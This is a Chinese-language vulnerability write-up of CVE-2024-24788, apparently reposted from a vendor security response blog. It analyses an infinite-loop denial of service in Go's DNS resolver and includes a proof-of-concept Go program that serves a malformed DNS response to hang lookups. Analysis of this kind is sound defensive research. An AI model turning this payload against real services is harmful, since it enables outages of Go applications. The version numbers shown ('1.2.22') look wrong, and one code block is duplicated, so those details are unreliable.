CVE-2024-24788 Golang DNS解析过程中的DOS漏洞

admin 2024年7月4日23:09:10评论2 views字数 6689阅读22分17秒阅读模式
1

漏洞元数据

project:Golang

Publish Date:05/08/2024

Confirm:https://go-review.googlesource.com/c/go/+/578375

CVE-ID:CVE-2024-24788

Exploits:见下文

Affect Version:< 1.2.22

Fix Version:1.2.22

Fix Commit:https://go-review.googlesource.com/c/go/+/578375/2/src/net/dnsclient_unix.go

2

漏洞描述

A malformed DNS message in response to a query can cause the Lookup functions to get stuck in an infinite loop.

3

漏洞分析

根据 commit 的记录可以看到,在 net/dnsclient_unix.go#extractExtendedRCode 之前的循环中,没有处理 p.SkipAdditional 可能产生的报错,如果这里报错了,就会循环处理。
CVE-2024-24788 Golang DNS解析过程中的DOS漏洞

寻找 extractExtendedRCode 调用点

简单搜索一下,可以发现如下的一些调用点。
CVE-2024-24788 Golang DNS解析过程中的DOS漏洞
写一个简单的 demo
func main() {  r := net.Resolver{PreferGo: true}  r.LookupNS(context.TODO(), "test.dns.o1hy.com")  fmt.Println("over")}
此时发现已经到了存在漏洞的地方了。
CVE-2024-24788 Golang DNS解析过程中的DOS漏洞
此时堆栈调用情况如下
net.extractExtendedRCode (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/dnsclient_unix.go:262)net.checkHeader (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/dnsclient_unix.go:207)net.(*Resolver).tryOneName (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/dnsclient_unix.go:314)net.(*Resolver).lookup (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/dnsclient_unix.go:462)net.(*Resolver).goLookupNS (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/lookup.go:815)net.(*Resolver).lookupNS (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/lookup_unix.go:108)net.(*Resolver).LookupNS (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/lookup.go:610)main.main (/Users/ymoon/workspace/project/golang/1-CloudMitm/test/test_dns.go:54)runtime.main (/opt/homebrew/Cellar/go/1.22.1/libexec/src/runtime/proc.go:271)runtime.goexit (/opt/homebrew/Cellar/go/1.22.1/libexec/src/runtime/asm_arm64.s:1222)

触发报错

func extractExtendedRCode(p dnsmessage.Parser, hdr dnsmessage.Header) dnsmessage.RCode {  p.SkipAllAnswers()  p.SkipAllAuthorities()  for {    // 此函数不能报错    ahdr, err := p.AdditionalHeader()    if err != nil {      return hdr.RCode    }    // 这里的 type 不能为 TypeOPT    if ahdr.Type == dnsmessage.TypeOPT {      return ahdr.ExtendedRCode(hdr.RCode)    }    // 此函数需要报错    p.SkipAdditional()  }}
这里需要重点关注的是 p.AdditionalHeaderp.SkipAdditional()SkipAdditional 的底层调用为 func (p *Parser) skipResource(sec section) error 函数。AdditionalHeader 的底层函数为 func (p *Parser) resourceHeader(sec section) (ResourceHeader, error)

根据循环逻辑,可以理解为调用完 resourceHeader 后会调用 skipResource,要求为:resourceHeader不能报错,skipResource需要报错。

CVE-2024-24788 Golang DNS解析过程中的DOS漏洞
通过对比此处代码发现,只有在如下代码处有报错的可能性。
// 这里的 if 一直为 true// p.section 和 sec 均为常量if p.resHeaderValid && p.section == sec {  // p.off 不可控  // 此时如果让 p.resHeaderLength 为一个很大的值,就会让下面的报错触发了。  newOff := p.off + int(p.resHeaderLength)  if newOff > len(p.msg) {    return errResourceLen  }  p.off = newOff  p.resHeaderValid = false  p.index++  return nil}

控制 p.resHeaderLength

resourceHeader 函数

func (p *Parser) resourceHeader(sec section) (ResourceHeader, error) {  if p.resHeaderValid {    p.off = p.resHeaderOffset  }   if err := p.checkAdvance(sec); err != nil {    return ResourceHeader{}, err  }  var hdr ResourceHeader  // 由此解析 msg 到 hdr 中  off, err := hdr.unpack(p.msg, p.off)  if err != nil {    return ResourceHeader{}, err  }  p.resHeaderValid = true  p.resHeaderOffset = p.off  p.resHeaderType = hdr.Type  // 需要让 hdr.Length 为一个大值  p.resHeaderLength = hdr.Length  p.off = off  return hdr, nil}

跟入到 unpack 中

func (p *Parser) resourceHeader(sec section) (ResourceHeader, error) {  if p.resHeaderValid {    p.off = p.resHeaderOffset  }   if err := p.checkAdvance(sec); err != nil {    return ResourceHeader{}, err  }  var hdr ResourceHeader  // 由此解析 msg 到 hdr 中  off, err := hdr.unpack(p.msg, p.off)  if err != nil {    return ResourceHeader{}, err  }  p.resHeaderValid = true  p.resHeaderOffset = p.off  p.resHeaderType = hdr.Type  // 需要让 hdr.Length 为一个大值  p.resHeaderLength = hdr.Length  p.off = off  return hdr, nil}
通过 wireshark 抓包看一下 demo 中的请求数据。
CVE-2024-24788 Golang DNS解析过程中的DOS漏洞

小结

为了触发循环过程中 p.SkipAdditional() 报错需要进行如下操作:

  • 确保 resourceHeader 正常解析,并且在解析时 unpack 解析到了 Addtional Data 的长度是一个大值。
  • 确保 Addtional Data 的 Type 不是 message.TypeOPT
4

构造利用

通过上面的小结可以直接对已有的数据包进行修改,然后重放这个 response 就可以了。

func main() {  go StartUdp()  r := net.Resolver{PreferGo: true, Dial: func(ctx context.Context, network, address string) (net.Conn, error) {    udpAddr, err := net.ResolveUDPAddr("udp", "127.0.0.1:1153")    if err != nil {      log.Println(err)      os.Exit(1)    }    return net.DialUDP("udp", nil, udpAddr)  }}  r.LookupNS(context.TODO(), "test.dns.o1hy.com")  fmt.Println("over")} // 接受 DNS 请求func StartUdp() {  addr := "0.0.0.0:1153"  udpAddr, err := net.ResolveUDPAddr("udp", addr)  if err != nil {    log.Println(udpAddr)  }  conn, err := net.ListenUDP("udp", udpAddr)  defer conn.Close()  if err != nil {    log.Println(err)  }  for {    hanldUdp(conn)  }} func hanldUdp(conn *net.UDPConn) {  var buf [512]byte  n, addr, _ := conn.ReadFromUDP(buf[0:])  fmt.Println(buf[:n])  // 修改这个值为一个比实际 Additional Data 大的值。通常 go 获取到的 Data 都是 0  hdrLength := "0001"  // 下面数据中的 hdrType 也已经进行了修改  data, err := hex.DecodeString("daa581820001000000000001047465737403646e73046f31687903636f6d000002000100003104d000000000" + hdrLength)  // 修改 dns resp 的 id  data[0] = buf[0]  data[1] = buf[1]  _, err = conn.WriteToUDP(data, addr)  if err != nil {    fmt.Println("发送响应失败:", err)    return  }}
CVE-2024-24788 Golang DNS解析过程中的DOS漏洞
CVE-2024-24788 Golang DNS解析过程中的DOS漏洞
CVE-2024-24788 Golang DNS解析过程中的DOS漏洞
5

影响场景

根据 extractExtendedRCode 的调用点可以看到,TXTNSMXSRV… 等会受到影响,进一步分析函数调用发现,对于 CNAME 等其实也是受影响了。总之都会触发到 tryOneName 处。

net.Dial、http.XXX 场景

理论上,应该影响到 net.Dial 这些场景才对。但实际上没有触发。

net.(*Resolver).lookupIP (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/lookup_unix.go:63)net.(*Resolver).lookupIP-fm (未知源:1)net.init.func1 (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/hook.go:22)net.(*Resolver).lookupIPAddr.func1 (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/lookup.go:334)singleflight.(*Group).doCall (/opt/homebrew/Cellar/go/1.22.1/libexec/src/internal/singleflight/singleflight.go:93)singleflight.(*Group).DoChan.gowrap1 (/opt/homebrew/Cellar/go/1.22.1/libexec/src/internal/singleflight/singleflight.go:86)runtime.goexit (/opt/homebrew/Cellar/go/1.22.1/libexec/src/runtime/asm_arm64.s:1222)

... 进入到匿名函数中net.(*Resolver).lookupIPAddr (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/lookup.go:342)net.(*Resolver).internetAddrList (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/ipsock.go:288)net.(*Resolver).resolveAddrList (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/dial.go:283)net.(*Dialer).DialContext (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/dial.go:490)net.(*Dialer).Dial (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/dial.go:434)net.Dial (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/dial.go:401)main.main (/Users/ymoon/workspace/project/golang/1-CloudMitm/test/test_dns.go:53)runtime.main (/opt/homebrew/Cellar/go/1.22.1/libexec/src/runtime/proc.go:271)runtime.goexit (/opt/homebrew/Cellar/go/1.22.1/libexec/src/runtime/asm_arm64.s:1222)
正常如果走到了下面的 goLookupIPCNAMEOrder 就会造成 DOS 了。但是居然没有走到这里,而是跑到了 cgoLookupIP 中,然而我没有开启 CGO..
CVE-2024-24788 Golang DNS解析过程中的DOS漏洞
跟入到 hostLookupOrder 中,看看为什么会返回 order == cgo
CVE-2024-24788 Golang DNS解析过程中的DOS漏洞
再看看 c.preferCgo,它受到如下的影响。
net/conf.go#func goosPrefersCgo() bool
CVE-2024-24788 Golang DNS解析过程中的DOS漏洞
最终导致它通过了 cgoLookupIP 来解析域名。

漏洞利用

漏洞在利用过程中有一个遗憾,就是需要 DNS 服务器可控:向指定的 DNS 服务器发起查询请求才可以。

如果是通过公共 DNS 服务器层层解析过来后,公共 DNS 服务器会发现数据包中的 length 存在问题,从而丢弃异常的数据。

CVE-2024-24788 Golang DNS解析过程中的DOS漏洞
笔者目前没有找到突破这里限制。但也有一些思路:

  1. 构造出不会被公共 DNS 服务器丢弃的数据包
  2. 找到其他触发 extractExtendedRCode 中报错点。目前我找到的这个点是最明显的…

linux下的 net.Dial

在上一个小结中发现,在 windows 和 mac 系统下,golang 会使用 cgo 的 dns 解析去解析 URL。但是在 linux 下确有着不一样的表现。

在使用 net.Dial 时,linux 下还是会通过 golang 的 DNS 解析去解析地址,此时就会走到 tryOneName 中。所以只需要针对 net.Dial 去查询的 DNS 返回对应的数据就可以造成 DOS 了,即如下环境

package main

import "net"

func main() {  net.Dial("tcp", "www.baidu.com:80")}

原文始发于微信公众号(华为安全应急响应中心):CVE-2024-24788 Golang DNS解析过程中的DOS漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月4日23:09:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-24788 Golang DNS解析过程中的DOS漏洞https://cn-sec.com/archives/2920809.html

发表评论

匿名网友 填写信息